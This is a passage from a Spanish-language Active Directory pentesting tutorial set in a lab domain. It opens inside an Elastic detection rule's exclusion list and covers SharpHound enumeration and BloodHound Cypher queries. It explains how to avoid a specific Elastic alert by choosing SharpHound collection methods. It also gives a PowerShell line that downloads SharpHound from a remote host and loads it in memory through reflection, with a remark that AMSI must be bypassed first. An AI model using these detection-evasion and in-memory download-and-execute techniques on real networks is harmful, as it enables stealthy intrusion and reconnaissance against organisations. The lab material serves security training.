*\:\\\\Windows\\\\System32\\\\CloudExperienceHostBroker.exe or *\:\\\\Windows\\\\System32\\\\RuntimeBroker.exe or *\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe or *\:\\\\Windows\\\\System32\\\\SrTasks.exe or *\:\\\\Windows\\\\System32\\\\diskshadow.exe or *\:\\\\Windows\\\\System32\\\\dfsrs.exe or *\:\\\\Windows\\\\System32\\\\vssadmin.exe or *\:\\\\Windows\\\\System32\\\\dllhost.exe or *\:\\\\Windows\\\\System32\\\\mmc.exe or *\:\\\\Windows\\\\System32\\\\SettingSyncHost.exe or *\:\\\\Windows\\\\System32\\\\inetsrv\\\\w3wp.exe or *\:\\\\Windows\\\\System32\\\\wsmprovhost.exe or *\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\x3jobt3?.exe or *\:\\\\Windows\\\\System32\\\\mstsc.exe or *\:\\\\Windows\\\\System32\\\\esentutl.exe or *\:\\\\Windows\\\\System32\\\\RecoveryDrive.exe or *\:\\\\Windows\\\\System32\\\\SystemPropertiesComputerName.exe or *\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe or *\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe or *\:\\\\Windows\\\\Temp\\\\rubrik_vmware???\\\\snaptool.exe or *\:\\\\Windows\\\\VeeamVssSupport\\\\VeeamGuestHelper.exe or ?\:\\\\WindowsAzure\\\\*WaAppAgent.exe or ?\:\\\\Program?Files?\(x86\)\\\\*.exe or ?\:\\\\Program?Files\\\\*.exe or ?\:\\\\$WINDOWS.~BT\\\\Sources\\\\*.exe ) ) ``` Elastic ha detectado un evento de "Enumeration of Privileged Local Groups Membership", lo que significa que un proceso inusual, en este caso SharpHound.exe, ha enumerado la membresía de grupos locales privilegiados de Windows, como los grupos de Administradores o Usuarios de Escritorio Remoto. Este tipo de actividad es típicamente sospechosa porque puede indicar un intento de descubrir cuentas con altos privilegios para posibles ataques o movimientos laterales dentro de una red. Para evitar activar la alerta "Enumeration of Privileged Local Groups Membership" cuando usas SharpHound, debes omitir los métodos de recolección LocalGroup y ComputerOnly, ya que ambos incluyen la enumeración de miembros de grupos locales de administradores. Ejemplo de comando ajustado: ``` SharpHound.exe -d dominio.local -c Container,Group,GPOLocalGroup,Session,LoggedOn,ObjectProps,ACL,Trusts,RDP,DCOM,DCOnly,UserRights,CARegistry,DCRegistry,CertServices ``` Este comando incluye una serie de métodos de recolección que permiten obtener datos útiles sin involucrar la enumeración de grupos locales de administradores, evitando así la generación de alertas específicas en sistemas de seguridad que monitorizan esta actividad. O también podríamos emplear Reflection en PowerShell para ejecutar el proceso completamente en memoria (si haces esto con Defender activado, primero tendrás que evadir el AMSI). ``` $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/SharpHound.exe') $assem = [System.Reflection.Assembly]::Load($data) [Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split()) ``` Este enfoque permite evitar la alerta genérica de detección de malware denominada "Malware Detection Alert" y la de "Direct Outbound SMB Connection". Utilizando este método con Reflection de PowerShell, el proceso que se muestra como padre no será SharpHound.exe, sino powershell.exe. ### Cazando con BloodHound Ahora inicia Neo4j y BloodHound (el ingestor debe coincidir con la versión correcta de BloodHound). Luego, sube los archivos zip a BloodHound. Mostrar todos los dominios y ordenadores: ``` MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p ``` ![image](https://hackmd.io/_uploads/Sk9lw9DGR.png) Mostrar todos los usuarios: ``` MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p ``` ![image](https://hackmd.io/_uploads/rkkrw5wMA.png) Ver el mapa general de dominios/grupos/usuarios: ``` MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q ``` ![image](https://hackmd.io/_uploads/r1D_w5PMC.png) Ver las ACLs de los usuarios: ``` MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p ``` ![image](https://hackmd.io/_uploads/H1fiw5DGC.png) Si quieres profundizar más, te recomiendo los siguientes artículos con mucha información y consultas útiles: * https://en.hackndo.com/bloodhound/ * https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/ En el próximo artículo comenzaremos a jugar con envenenamiento y retransmisión NTLM.